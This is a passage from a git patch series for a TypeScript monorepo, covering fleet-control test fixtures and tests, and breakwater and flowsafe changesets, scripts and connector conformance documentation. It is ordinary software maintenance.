database.d1, release); const bucket = record.applicationResources?.find( (resource) => resource.name === 'PROBE_BUCKET', ); - if (!bucket || url.pathname !== '/__direct/object') + if (!bucket || url.pathname !== DIRECT_TENANT_ROUTES.object) throw new Error('unknown fixture application route'); const key = `${bucket.jurisdiction}:${bucket.bucketName}/${DIRECT_TENANT_OBJECT_KEY}`; if (request.method === 'POST') { diff --git a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts index 16dffa14..a6aa2b1e 100644 --- a/packages/fleet-control/test/fixtures/direct-run-state-builder.ts +++ b/packages/fleet-control/test/fixtures/direct-run-state-builder.ts @@ -7,9 +7,11 @@ import { join } from 'node:path'; import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; import { DIRECT_RESIDUAL_SURFACES, + DIRECT_TEARDOWN_MAXIMA, +} from '../../scripts/direct-credentialed-reference-vocabulary.mjs'; +import { DIRECT_SCENARIO_ARRAY_MAXIMA, DIRECT_SCENARIO_OPERATION_SLOTS, - DIRECT_TEARDOWN_MAXIMA, type DirectBootstrapContext, type DirectBootstrapMutationReceipt, type DirectResidualObservation, diff --git a/packages/fleet-control/test/fixtures/fleet-audit-world.ts b/packages/fleet-control/test/fixtures/fleet-audit-world.ts index 9c17ce29..4ecca279 100644 --- a/packages/fleet-control/test/fixtures/fleet-audit-world.ts +++ b/packages/fleet-control/test/fixtures/fleet-audit-world.ts @@ -396,10 +396,10 @@ const routeDup = baseRecord('routedup'); * and `platformResources.egressProxy` (separate live deployment entries in * `inventory.deployments`) carry the drift. * - * This record ALSO carries the world's only multi-namespace-id story - * (§8.6): a second `durableObjectBindings` entry reuses - * `SHARED_EXPECTED_NAMESPACE` (already claimed by `namespaceDupA`/`namespaceDupB` - * above), so this record's OWN pass through the fleet.ts:762 inner loop + * This record ALSO carries the world's only multi-namespace-id story: a second + * `durableObjectBindings` entry reuses `SHARED_EXPECTED_NAMESPACE` (already + * claimed by `namespaceDupA`/`namespaceDupB` above), so this record's OWN pass + * through the fleet.ts:762 inner loop * lands the namespace's THIRD claimant, landing the world's second * `duplicate-namespace` finding; a populated * `platformResources.stateWorker.namespaceIds` adds a namespace id present @@ -922,7 +922,7 @@ class RecordingFleetStore implements FleetStateStore { this.ops.push('renew'); }, put: async (record) => { - // Pins §6.1's authority clock wiring: `commitInvocationAuthority` + // Pins the authority clock wiring: `commitInvocationAuthority` // must stamp `updatedAt` from the audited authority clock // (`options.now`), not a bare `Date.now()`. The audit re-wired to // the latter must fail loudly, not pass silently through to a diff --git a/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts index 14feb7ca..001cef7d 100644 --- a/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts +++ b/packages/fleet-control/test/fixtures/fleet-operation-fakes.ts @@ -46,12 +46,10 @@ import type { /** * The frozen instant this fixture stamps finalized generation refs and run * records with. It governs what this file writes, not what a consumer audits - * against: a consumer pins its own audit and authority clocks, and two that do - * disagree — `fleet-audit-advance.test.ts` pins them to this instant, - * `cross-backend-continuation.test.ts` to its own `AUDIT_NOW_MS`. A further - * clock reaches the port through this fake's terminal writes, which stamp - * `terminalAtMs` from `Date.now()`, so a `finalizedAtMs` assertion reads the - * wall clock rather than a pinned one. + * against: a consumer pins its own audit and authority clocks, which need not + * equal this instant. A further clock reaches the port through this fake's + * terminal writes, which stamp `terminalAtMs` from `Date.now()`, so a + * `finalizedAtMs` assertion reads the wall clock rather than a pinned one. */ export const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); diff --git a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts index a304def3..70687a68 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-provisioning-api-fake.ts @@ -190,7 +190,10 @@ export class PlainWorkerProvisioningApiFake ): Promise { await this.#request('createDatabase', fence); if (this.createDatabaseOutcome.status === 'succeeded') { - this.databases.set(name, { id: name, name, created: false }); + // A provider database id is not its name. Keeping them unequal means a + // consumer that passes the name where an id belongs finds nothing. + const id = `db-${name}`; + this.databases.set(id, { id, name, created: false }); } return this.createDatabaseOutcome; } @@ -391,7 +394,9 @@ export class PlainWorkerProvisioningApiFake fence: ExternalMutationFence, ): Promise { await this.#request('attachCustomDomain', fence); - this.domains.push({ id: target.hostname, ...target }); + // A provider domain id is not its hostname: detachment addresses the id, + // ownership checks the hostname, so the fixture keeps the two unequal. + this.domains.push({ id: `domain-${target.hostname}`, ...target }); } async detachCustomDomain( diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index b4e88d1d..06e1e627 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -61,10 +61,9 @@ import { // --------------------------------------------------------------------------- // Fixed identities, clocks, and small builders. This world is INLINE and -// INDEPENDENT of `test/fixtures/fleet-audit-world.ts` (§10 SECOND-WORLD NOTE): -// it never imports that fixture. The durable operation and inventory store -// fakes come from `test/fixtures/fleet-operation-fakes.ts`, which carries no -// world of its own. +// INDEPENDENT of `test/fixtures/fleet-audit-world.ts`: it never imports that +// fixture. The durable operation and inventory store fakes come from +// `test/fixtures/fleet-operation-fakes.ts`, which carries no world of its own. // --------------------------------------------------------------------------- /** @@ -2215,7 +2214,7 @@ describe('advanceFleetAudit', () => { expect(emptyPage).not.toHaveProperty('nextAfterOrdinal'); }); - it('second-world drain-vs-bounded equivalence modulo the §5.5 difference set', async () => { + it('second-world drain-vs-bounded equivalence over one frozen clock', async () => { const control = baseRecord('control2'); const missing = baseRecord('missing2'); const routeDup = baseRecord('routedup2'); @@ -2243,7 +2242,7 @@ describe('advanceFleetAudit', () => { cleanRoute(routeDup, { scriptName: 'route-dup-ghost2' }), ); - // §5.5 EQUIVALENCE SCOPE: both paths run over the SAME frozen clock. + // Both paths read one frozen clock; the equivalence holds only over that. const harness = buildHarness(records, inventory, { auditClock: () => AUDIT_NOW, authorityClock: () => AUDIT_NOW, diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index b330be06..370814bc 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -2516,6 +2516,45 @@ describe('bounded fleet migration', () => { } }); + it('a migrating-phase admission refuses a migration candidate whose live artifact version left the persisted release', async () => { + const world = createWorld({ external: true }); + await advanceTo(world, 'arm-maintenance'); + const migrating = world.current(); + expect(migrating.phase).toBe('migrating'); + expect(migrating.migrationIntent?.subphase).toBe('candidate-deployed'); + const release = migrating.pendingRelease as ExternalReleaseSnapshot; + expect(release.artifactVersion).toBe(`v${world.spec.schemaVersion}`); + const resumed = new MemoryOperationStore(); + armOptions(world, { operationStore: resumed }); + let next = await armedStart(world, uuid(2), [migrating]); + for (let count = 0; count < 80; count += 1) { + const staged = resumed.item(uuid(2)); + if (staged.plan?.[staged.planCursor ?? -1]?.step === 'deploy-candidate') { + break; + } + if (next.status !== 'pending') { + throw new Error('terminated before deploy-candidate'); + } + next = await continueWorld(world, next); + } + const item = resumed.item(uuid(2)); + expect(item.plan?.[item.planCursor ?? -1]?.step).toBe('deploy-candidate'); + // The release name now serves a different artifact than the record pins. + world.releases.set( + release.physicalScriptName, + world.liveFor(world.spec, 'v9'), + ); + world.ops.length = 0; + await expect(continueWorld(world, next)).rejects.toThrow( + `migration candidate immutable release '${release.physicalScriptName}' does not match persisted artifact version '${release.artifactVersion}'`, + ); + expect(resumed.item(uuid(2)).status).toBe('failed'); + expect(world.current().pendingRelease?.artifactVersion).toBe( + release.artifactVersion, + ); + expect(providerMutations(world)).toEqual([]); + }); + it('retire-post follows the ready commit and refuses a restored migrating carrier', async () => { for (const restored of [false, true]) { const world = createWorld({ external: true }); diff --git a/packages/fleet-control/test/fleet-operation-state.test.ts b/packages/fleet-control/test/fleet-operation-state.test.ts index cf61eb3a..d2bf8488 100644 --- a/packages/fleet-control/test/fleet-operation-state.test.ts +++ b/packages/fleet-control/test/fleet-operation-state.test.ts @@ -1007,7 +1007,7 @@ describe('operation fake guarded progress contract', () => { } }); - it('refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { + it('migration kind: refuses missing updates and different immutable bytes before sibling writes, and accepts exact retries', async () => { const secondRow = { ...row, ordinal: 1, @@ -1079,7 +1079,7 @@ describe('operation fake guarded progress contract', () => { } }); - it('compares record payloads canonically for fresh commits and convergence', async () => { + it('audit kind: compares record payloads canonically for fresh commits and convergence', async () => { const record: FleetRecord = { tenantTag: 'canonical', backend: 'plain-worker', @@ -1152,7 +1152,7 @@ describe('operation fake guarded progress contract', () => { }); }); - it('refuses multiple failure updates before changing rows or releasing the head', async () => { + it('migration kind: refuses multiple failure updates before changing rows or releasing the head', async () => { const secondRow = { ...row, ordinal: 1, diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index c3a61363..aa2bb208 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -482,7 +482,7 @@ describe('reconciled transient provisioning failures', () => { verify() { expect([...api.databases.values()]).toEqual([ { - id: spec.databaseName, + id: 'db-acme-production', name: spec.databaseName, created: false, }, @@ -2049,7 +2049,7 @@ describe('PlainWorkerBackend core policy', () => { ); expect(api.domains).toEqual([ { - id: spec.routeHostname, + id: 'domain-app.example.test', hostname: spec.routeHostname, service: spec.scriptName, }, diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index e7e14b76..b2522794 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -60,11 +60,28 @@ function scratchDirectories(): string[] { return directories; } +/** + * Lands one write between the export's size read and its hash. The adapter + * reads the size through `node:fs/promises` and hashes through a `node:fs` + * stream, so a hook inside the size read is what puts a write between them. + */ +const exportRace = vi.hoisted<{ + growAfterSizeRead: ((path: string) => Promise) | undefined; +}>(() => ({ growAfterSizeRead: undefined })); + vi.mock('node:fs/promises', async () => { const { createFsPromisesMock } = await import( './fixtures/wrangler-fs-mock.js' ); - return createFsPromisesMock(fsControl); + const mock = await createFsPromisesMock(fsControl); + return { + ...mock, + async stat(...arguments_: Parameters) { + const metadata = await mock.stat(...arguments_); + await exportRace.growAfterSizeRead?.(String(arguments_[0])); + return metadata; + }, + }; }); const exportDirectories = registerScratchCleanup(fsControl, { @@ -83,7 +100,9 @@ class FakeRunner implements CommandRunner { constructor( readonly handler: ( arguments_: readonly string[], - ) => Promise = async () => ({ stdout: '', stderr: '' }), + ) => Promise = async (arguments_) => { + throw new Error(`unstubbed wrangler argv: ${arguments_.join(' ')}`); + }, ) {} run(arguments_: readonly string[]): Promise { @@ -92,6 +111,13 @@ class FakeRunner implements CommandRunner { } } +/** + * A runner that answers any argv with an empty success, for a case whose + * subject is the filesystem outcome rather than the argv. + */ +const succeedingRunner = () => + new FakeRunner(async () => ({ stdout: '', stderr: '' })); + async function api( runner: CommandRunner, options: { @@ -1036,7 +1062,7 @@ describe('WranglerPlainWorkerProvisioningApi mutations', () => { scratchDirectories().length = 0; fsControl.failFleetCleanup = true; fsControl.cleanupError = undefined; - const cleanup = await api(new FakeRunner()); + const cleanup = await api(succeedingRunner()); await expect( cleanup.uploadCandidate(uploadIntent('staged'), mutationFence()), ).resolves.toEqual({ @@ -1078,7 +1104,7 @@ describe('WranglerPlainWorkerProvisioningApi mutations', () => { }); it('returns delete outcomes and rethrows non-absence failures', async () => { - const deleted = await api(new FakeRunner()); + const deleted = await api(succeedingRunner()); await expect( deleted.deleteWorkerScript('worker', mutationFence()), ).resolves.toBe('deleted'); @@ -1134,7 +1160,7 @@ describe('WranglerPlainWorkerProvisioningApi mutations', () => { scratchDirectories().length = 0; fsControl.failFleetCleanup = true; - const cleanup = await api(new FakeRunner()); + const cleanup = await api(succeedingRunner()); await expect( cleanup.uploadCandidate(uploadIntent('staged'), mutationFence()), ).resolves.toEqual({ @@ -1821,4 +1847,70 @@ describe('WranglerPlainWorkerProvisioningApi exports', () => { ); await expectExportScratchRemoved(output()); }); + + it('refuses an export whose bytes change between the size read and the hash', async () => { + const exportDirectory = await mkdtemp( + join(tmpdir(), 'anchorage-fleet-receipt-'), + ); + exportDirectories.add(exportDirectory); + let outputPath = ''; + const runner = new FakeRunner(async (arguments_) => { + outputPath = arguments_[arguments_.indexOf('--output') + 1] as string; + await writeFile(outputPath, 'select 1;'); + return { stdout: '', stderr: '' }; + }); + const store: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy export must not run'); + }, + async writeReceipt() { + throw new Error('a changed export must not reach the receipt store'); + }, + }; + const subject = await api(runner, { exportDirectory, exportStore: store }); + const exportReceipt = subject.exportDatabaseReceipt; + if (!exportReceipt) { + throw new Error('expected receipt export capability'); + } + const actual = + await vi.importActual( + 'node:fs/promises', + ); + exportRace.growAfterSizeRead = async (path) => { + await actual.appendFile(path, ' select 2;'); + }; + try { + await expect( + exportReceipt(RECEIPT_IDENTITY, mutationFence()), + ).rejects.toThrow('Wrangler database export changed while being hashed'); + } finally { + exportRace.growAfterSizeRead = undefined; + } + await expectExportScratchRemoved(outputPath); + }); +}); + +describe('WranglerPlainWorkerProvisioningApi inventory shape', () => { + it('refuses a Wrangler inventory result that is not a list', async () => { + const subject = new WranglerPlainWorkerProvisioningApi({ + runner: { + maxDurationMs: 5 * 60_000, + async run() { + return { + stdout: JSON.stringify({ success: true, result: 'not-a-list' }), + stderr: '', + }; + }, + }, + routeApi: routeApi(), + // `listDatabases` reads no file, so this path is never created. + exportDirectory: join(tmpdir(), 'wrangler-inventory-shape'), + exportStore: memoryStore(), + }); + + await expect(subject.listDatabases()).rejects.toThrow( + 'Wrangler inventory result has an invalid list shape', + ); + }); }); diff --git a/packages/fleet-control/tsconfig.build.json b/packages/fleet-control/tsconfig.build.json index 87e8ddb5..8521786e 100644 --- a/packages/fleet-control/tsconfig.build.json +++ b/packages/fleet-control/tsconfig.build.json @@ -7,5 +7,5 @@ "outDir": "dist", "sourceMap": true }, - "exclude": ["test/**/*.ts"] + "exclude": ["test/**/*.ts", "vitest.config.ts"] } diff --git a/packages/fleet-control/tsconfig.json b/packages/fleet-control/tsconfig.json index d8adc7b0..8311b333 100644 --- a/packages/fleet-control/tsconfig.json +++ b/packages/fleet-control/tsconfig.json @@ -14,5 +14,5 @@ ] } }, - "include": ["src/**/*.ts", "test/**/*.ts"] + "include": ["src/**/*.ts", "test/**/*.ts", "vitest.config.ts"] } From 8fc708a5a21d18752fd4af2f48a7c117940ac8b7 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 17 Sep 2026 14:21:49 +0400 Subject: [PATCH 169/169] fix: read policies once, pin packed declarations Residue round RS-B lands the breakwater, flowsafe, showcase and agent-starter rows the pending chain's own review lanes left open after PC-1, PC-3 and the RC port, across those packages' sources, scripts, suites, test programs, navigation files, CONNECTORS.md and changesets. breakwater: `createConnector` samples `idempotencyStore`, `idempotencyKeyMigration`, `rateLimitStore` and `networkEgress` once each while constructing, so a refusal and the value behind it come from one read; the single-tenant preset's `.record` check reads the member its pin loop already proved rather than `policies.audit` a second time, and a case counts that read. `resolveEgressPosture` moves to `egress-posture.ts`, where the SDK and the conformance harness share one resolution, and the fixtures both conformance suites drive move to `egress-conformance.fixtures.ts`, which the build program excludes. An `INSTRUMENTATION_REPLACED` finding for an entry point a case deleted now carries the unobserved-calls clause instead of stopping at the shape, and CONNECTORS.md records which findings carry that clause and which carry none. `AGENT_AUDIT_OPTIONAL_FIELDS` and `PINNED_PRESET_MEMBERS` are the keys of a `Record` typed over the members each tracks, so one added or dropped stops the typecheck. flowsafe: the dispatch route drops the awaited delivery-policy probe, which the ingestion gate keeps; both patch refusals compose one shared citation, and a case pins the two emitted messages byte for byte. The packed agent-host gate reads dist-relative paths, pins the `host-kit/module` declaration graph, and adds the delivery-policy probe to the names its entry points must not export; the packed browser gate pins the signals client's declaration axis beside its runtime one. Each edge scan reads the specifier forms it lists, and the execution-fence suite drives its own list through a positive control. The facade type pins move beside the D1 side of the same seam, in `test-support/d1-type-compatibility.ts`, out of the suites the architecture gate drops. showcase: the worker fetch suite takes the shared `@flowsafe-test/sqlite.js` fixture in place of its copied facade, the workflow suite asserts the declared `egressEnforcement` on the audit detail for both postures, and the three workflow manifests drop the comment tails that restated what their posture literal means. agent-starter: `mint-token` realpaths both sides before deciding it is the entry point; the mocked unpatched core names itself as a mock instead of copying the sentence flowsafe emits. The RC runner's classification prose and two of its refusal reasons are tightened without changing any list, its surface test drives the rows it excludes from the storage control through an inverted control that requires the store to stay untouched, and breakwater's execution-entry inventory points the pass that drops a forward-classified name at flowsafe's VERSION_SKEW table. changesets: the purge-cursor and notification-tick flowsafe changesets move from patch to minor, the first stating the `runMaintenanceDuty` overload split the seam landed with, the second narrowing the delivery-policy probe to the ingestion route; the forward-classified changeset qualifies its absence claim to Core and states what a caller that feature-detects either member now finds; a new breakwater changeset records the unobserved-calls reason. Co-Authored-By: Claude Fable 5.1 --- ...breakwater-conformance-calls-unobserved.md | 12 ++ .changeset/forward-classified-core-members.md | 4 +- .../maintenance-purge-cursor-contract.md | 4 +- ...ication-tick-capability-at-construction.md | 4 +- packages/agent-starter/scripts/mint-token.mjs | 16 ++- .../test/maintenance-tick-refusal.test.ts | 4 +- packages/agent-starter/tsconfig.json | 2 +- packages/breakwater/CONNECTORS.md | 6 +- packages/breakwater/src/agent-cli/CLAUDE.md | 1 + packages/breakwater/src/agent/agent.test.ts | 14 +- packages/breakwater/src/audit/index.ts | 34 +++-- packages/breakwater/src/connector-decision.ts | 12 +- .../breakwater/src/connector-sdk/CLAUDE.md | 5 +- .../breakwater/src/connector-sdk/contracts.ts | 15 +- .../egress-conformance.fixtures.ts | 31 +++++ .../connector-sdk/egress-conformance.test.ts | 80 +++++++---- .../egress-conformance.timeout.test.ts | 30 +--- .../src/connector-sdk/egress-conformance.ts | 94 ++++++------- .../src/connector-sdk/egress-posture.ts | 14 ++ .../breakwater/src/connector-sdk/index.ts | 30 ++-- .../single-tenant-preset.test.ts | 21 +++ .../src/connector-sdk/single-tenant-preset.ts | 36 +++-- .../breakwater/src/policy-engine/CLAUDE.md | 1 + .../src/policy-engine/evaluator-contract.ts | 9 +- packages/breakwater/src/rbac/CLAUDE.md | 1 + packages/breakwater/tsconfig.json | 2 +- packages/breakwater/tsconfig.test.json | 6 +- packages/flowsafe/deploy/worker.e2e.test.ts | 15 +- packages/flowsafe/deploy/worker.ts | 6 + .../flowsafe/scripts/agent-host-pack-test.mjs | 50 +++++-- .../scripts/signals-client-pack-test.mjs | 38 +++++- packages/flowsafe/src/CLAUDE.md | 2 + .../src/agent-runner/durable-agent-runner.ts | 101 ++++++++------ .../durable-agent-surface.test.ts | 128 +++++++++++++----- .../src/do-runner/execution-fence.test.ts | 65 ++++++++- .../src/do-runner/sqlite-fixture.test.ts | 37 +---- .../src/host-kit/flowsafe-worker.test.ts | 14 ++ .../flowsafe/src/host-kit/flowsafe-worker.ts | 10 +- .../notification-dispatch.patch-seam.test.ts | 42 ++++-- .../src/signals/notification-dispatch.ts | 12 +- .../signals/notification-source-keys.test.ts | 3 +- .../flowsafe/src/signals/thread-do-routes.ts | 1 - .../test-support/d1-type-compatibility.ts | 29 ++++ .../test-support/durable-key-value-storage.ts | 5 +- packages/flowsafe/tsconfig.test.json | 1 + .../showcase/worker/worker.fetch.e2e.test.ts | 99 +------------- .../showcase/worker/workflows.e2e.test.ts | 7 +- .../worker/workflows/access-request.ts | 2 +- .../worker/workflows/lead-generation.ts | 3 +- .../worker/workflows/product-launch.ts | 3 +- 50 files changed, 716 insertions(+), 445 deletions(-) create mode 100644 .changeset/breakwater-conformance-calls-unobserved.md create mode 100644 packages/breakwater/src/connector-sdk/egress-conformance.fixtures.ts create mode 100644 packages/breakwater/src/connector-sdk/egress-posture.ts diff --git a/.changeset/breakwater-conformance-calls-unobserved.md b/.changeset/breakwater-conformance-calls-unobserved.md new file mode 100644 index 00000000..2868334d --- /dev/null +++ b/.changeset/breakwater-conformance-calls-unobserved.md @@ -0,0 +1,12 @@ +--- +'@proofoftech/breakwater': minor +--- + +Say what the connector conformance harness established about an entry point a case deleted outright. +An `INSTRUMENTATION_REPLACED` finding for a property that is gone at verification now reads +`globalThis.fetch descriptor differs from the one the harness installed: absent property; calls made +after the replacement were not observed`. The finding stopped at `absent property` before, which is +also how the harness reports an entry point that still holds the installed trap, though a read after +the deletion resolves through the prototype chain or to `undefined` and never to the trap. A finding +for a replacement that is itself an accessor still says the harness did not check, and one for a data +property that still holds the trap still carries no such clause. diff --git a/.changeset/forward-classified-core-members.md b/.changeset/forward-classified-core-members.md index 5fba5538..37ddd957 100644 --- a/.changeset/forward-classified-core-members.md +++ b/.changeset/forward-classified-core-members.md @@ -2,6 +2,6 @@ '@proofoftech/flowsafe': patch --- -Refuse two `Agent` entry points that `@mastra/core` releases newer than the declared peer expose. `FlowsafeDurableAgent.listActiveThreadRuns()` throws instead of returning the run, thread and resource ids of every thread tracked on the pub/sub instance, which Core scopes by neither principal nor agent. `FlowsafeDurableAgent.__setThreadRuntimeAgent()` throws instead of installing another agent as the target the thread runtime drives for `subscribeToThread()`, `claimThreadOwnership()`, `sendMessage()`, `queueMessage()` and `sendStateSignal()` — an agent that would carry none of the wrapper's guards. Both refusals carry the reason table's message, and an installed 1.53.0 exposes neither member, so no call that resolves today changes. +Refuse two `Agent` entry points that `@mastra/core` releases newer than the declared peer expose. `FlowsafeDurableAgent.listActiveThreadRuns()` throws instead of returning the run, thread and resource ids of every thread on the pubsub instance with a run in flight, which Core scopes by neither principal nor agent. `FlowsafeDurableAgent.__setThreadRuntimeAgent()` throws instead of installing another agent as the target every thread-runtime path resolves through — `subscribeToThread()`, `claimThreadOwnership()`, `sendMessage()`, `queueMessage()`, `sendStateSignal()`, `sendNotificationSignal()` and `sendSignal()` — where one call would move every run those paths start, and `subscribeToThread()`'s replay target with them, onto an agent that carries none of the wrapper's guards. Both refusals carry the reason table's message; an installed 1.53.0 exposes neither member on Core, so no call that resolves today changes, and a caller that feature-detects either member now finds it on the wrapper and takes the refusal where the call was a `TypeError` before. -The durable-agent surface inventory now holds against the pinned peer and against newer 1.x releases together. It records, per member whose presence differs between them, the prototype level each core places it on, and still fails on any member no list classifies. +The durable-agent surface inventory now holds against the pinned peer and against newer 1.x releases together. diff --git a/.changeset/maintenance-purge-cursor-contract.md b/.changeset/maintenance-purge-cursor-contract.md index 4f441952..c2654b8b 100644 --- a/.changeset/maintenance-purge-cursor-contract.md +++ b/.changeset/maintenance-purge-cursor-contract.md @@ -1,5 +1,5 @@ --- -'@proofoftech/flowsafe': patch +'@proofoftech/flowsafe': minor --- -Require the retention cursor seam on the purge duty. `runMaintenanceDuty('purge', env, context)` takes the new `MaintenancePurgeDutyContext`, whose `advanceRetentionCursor` is required, matching the `advanceCursor` the run-retention purge itself requires; the other duties keep the optional `MaintenanceDutyContext`. A purge invocation whose context omits the callback is refused under a `config-error` naming `maintenance.purge.advanceRetentionCursor` before any purge surface runs, rather than purging the remaining surfaces and reporting a `retention-purge` failure. +Require the retention cursor seam on the purge duty. `runMaintenanceDuty('purge', env, context)` takes the new `MaintenancePurgeDutyContext`, whose `advanceRetentionCursor` is required, matching the `advanceCursor` the run-retention purge itself requires; the other duties keep the optional `MaintenanceDutyContext`. `FlowsafeWorker.runMaintenanceDuty` declares that split as two overloads — `'purge'` with a required `MaintenancePurgeDutyContext`, and `Exclude` with the optional `MaintenanceDutyContext` — so a caller holding a union-typed `duty` narrows it to one branch before calling: a single call spanning the whole union matches neither overload and no longer compiles. A purge invocation whose context omits the callback is refused under a `config-error` naming `maintenance.purge.advanceRetentionCursor` before any purge surface runs, rather than purging the remaining surfaces and reporting a `retention-purge` failure. diff --git a/.changeset/notification-tick-capability-at-construction.md b/.changeset/notification-tick-capability-at-construction.md index 868afdea..7f4c9971 100644 --- a/.changeset/notification-tick-capability-at-construction.md +++ b/.changeset/notification-tick-capability-at-construction.md @@ -1,7 +1,7 @@ --- -'@proofoftech/flowsafe': patch +'@proofoftech/flowsafe': minor --- Capture the conditional-delivery capability when a notification dispatch tick is built, whatever its `limit`. `createNotificationDispatchTick()` reads `storage` and refuses one without `updateNotificationDeliveryIfUnchanged` for every configuration, including `limit: 0`, so the `NotificationDeliveryStorage` requirement no longer depends on the limit. A `limit: 0` tick still resolves `{ due: 0, delivered: 0, failed: 0 }` without reading due rows, calling storage, or needing the `@mastra/core` patch; invalid numeric policy still fails ahead of the capture. -The notification routes refuse when the installed `@mastra/core` lacks the delivery-policy half of that patch. `createThreadSignalRoutes()` probes `resolveNotificationDeliveryDecision` at both the ingestion gate and the dispatch route, and answers 502 with the message naming the patch on the server log. The probe resolves once per isolate; tick construction keeps its synchronous probe and is unaffected. +The notification ingestion route refuses when the installed `@mastra/core` lacks the delivery-policy half of that patch. `createThreadSignalRoutes()` probes `resolveNotificationDeliveryDecision` at the ingestion gate, where delivery runs through `agent.sendNotificationSignal` and reaches the delivery-policy lookup, and answers 502 with the message naming the patch on the server log. The dispatch route carries the synchronous source-key probe its summaries need, and delivers through `agent.sendSignal`, which never reaches that lookup. The probe resolves once per isolate; tick construction keeps its synchronous probe and is unaffected. diff --git a/packages/agent-starter/scripts/mint-token.mjs b/packages/agent-starter/scripts/mint-token.mjs index 4b5d559e..2cfc9b4d 100644 --- a/packages/agent-starter/scripts/mint-token.mjs +++ b/packages/agent-starter/scripts/mint-token.mjs @@ -1,7 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 -import { resolve } from 'node:path'; -import { pathToFileURL } from 'node:url'; +import { realpathSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; import { APPROVAL_ROLES } from '@proofoftech/flowsafe/approval-api'; import { mintHmacToken, toApprovalActor } from '@proofoftech/flowsafe/host-kit'; @@ -48,9 +48,13 @@ async function main() { process.stdout.write(`${token}\n`); } -const invokedPath = process.argv[1] - ? pathToFileURL(resolve(process.argv[1])).href - : undefined; -if (invokedPath === import.meta.url) { +// Both sides are realpathed, so a symlinked invocation still resolves to this +// module's own path. +const isMain = + process.argv[1] !== undefined && + realpathSync(process.argv[1]) === + realpathSync(fileURLToPath(import.meta.url)); + +if (isMain) { await main(); } diff --git a/packages/agent-starter/test/maintenance-tick-refusal.test.ts b/packages/agent-starter/test/maintenance-tick-refusal.test.ts index 88ff08c6..66d418a3 100644 --- a/packages/agent-starter/test/maintenance-tick-refusal.test.ts +++ b/packages/agent-starter/test/maintenance-tick-refusal.test.ts @@ -57,8 +57,10 @@ const mocks = vi.hoisted(() => { ( _options: NotificationDispatchTickOptions, ): (() => Promise) => { + // Stands in for an unpatched core's refusal. It does not copy the + // sentence flowsafe emits; PATCH_MESSAGE is what the cases match. throw new TypeError( - 'notification dispatch requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + 'mocked unpatched core: Apply the flowsafe patch to @mastra/core', ); }, ), diff --git a/packages/agent-starter/tsconfig.json b/packages/agent-starter/tsconfig.json index 64594247..1aa89f99 100644 --- a/packages/agent-starter/tsconfig.json +++ b/packages/agent-starter/tsconfig.json @@ -6,5 +6,5 @@ "noEmit": true, "types": ["@cloudflare/workers-types", "vitest/globals"] }, - "include": ["src/**/*.ts", "test/**/*.ts"] + "include": ["src/**/*.ts", "test/**/*.ts", "vitest.config.ts"] } diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index 725ddc88..c0d79636 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -788,7 +788,7 @@ Read failures using the report's finding codes: - `POLICIES_NOT_WIRED`: the report names `fetch`, `audit`, or `both`. A `fetch` finding cannot distinguish a factory that omitted `policies.fetch` from a connector calling ambient fetch directly for a declared host. Both leave an escape and zero harness transport calls. Read the escape record beside the finding for the authoritative request evidence. An `audit` finding means the subject reached its gate boundary without recording a witness on the supplied logger; where the invocation itself failed, it means the invocation ended before a witness could be recorded and says nothing about the boundary. - `FACTORY_FAILED`: construction threw. For an `Error` with a string message, the reason is that message. An unreadable error becomes `unreadable error`; a non-Error object becomes `a non-Error object` or `null`; a thrown function becomes `a function`, never its source text. Other thrown values use their string representation. - `INSTRUMENTATION_UNSUPPORTED`: an entry point could not be instrumented, or two entry points name the same property. -- `INSTRUMENTATION_REPLACED`: assignment to a harness-installed accessor was recorded without applying it, or the descriptor or effective value differs from the installed instrumentation, or could not be read, before restoration. The reason states what the harness established about calls made after the replacement — that they did not reach the trap, or that it did not check, which is what it reports for a replacement that is itself an accessor. A case whose verification fails is ineligible for the outcome check under the eligibility rule below. Either finding during probe construction refuses the run. +- `INSTRUMENTATION_REPLACED`: assignment to a harness-installed accessor was recorded without applying it, or the descriptor or effective value differs from the installed instrumentation, or could not be read, before restoration. The reason states what the harness established about calls made after the replacement — that they did not reach the trap, which covers an entry point deleted outright, or that it did not check, which is what it reports for a replacement that is itself an accessor. It carries no such clause where the entry point still holds the installed trap as its data property value, nor where the descriptor and the effective value could not be read at all. A case whose verification fails is ineligible for the outcome check under the eligibility rule below. Either finding during probe 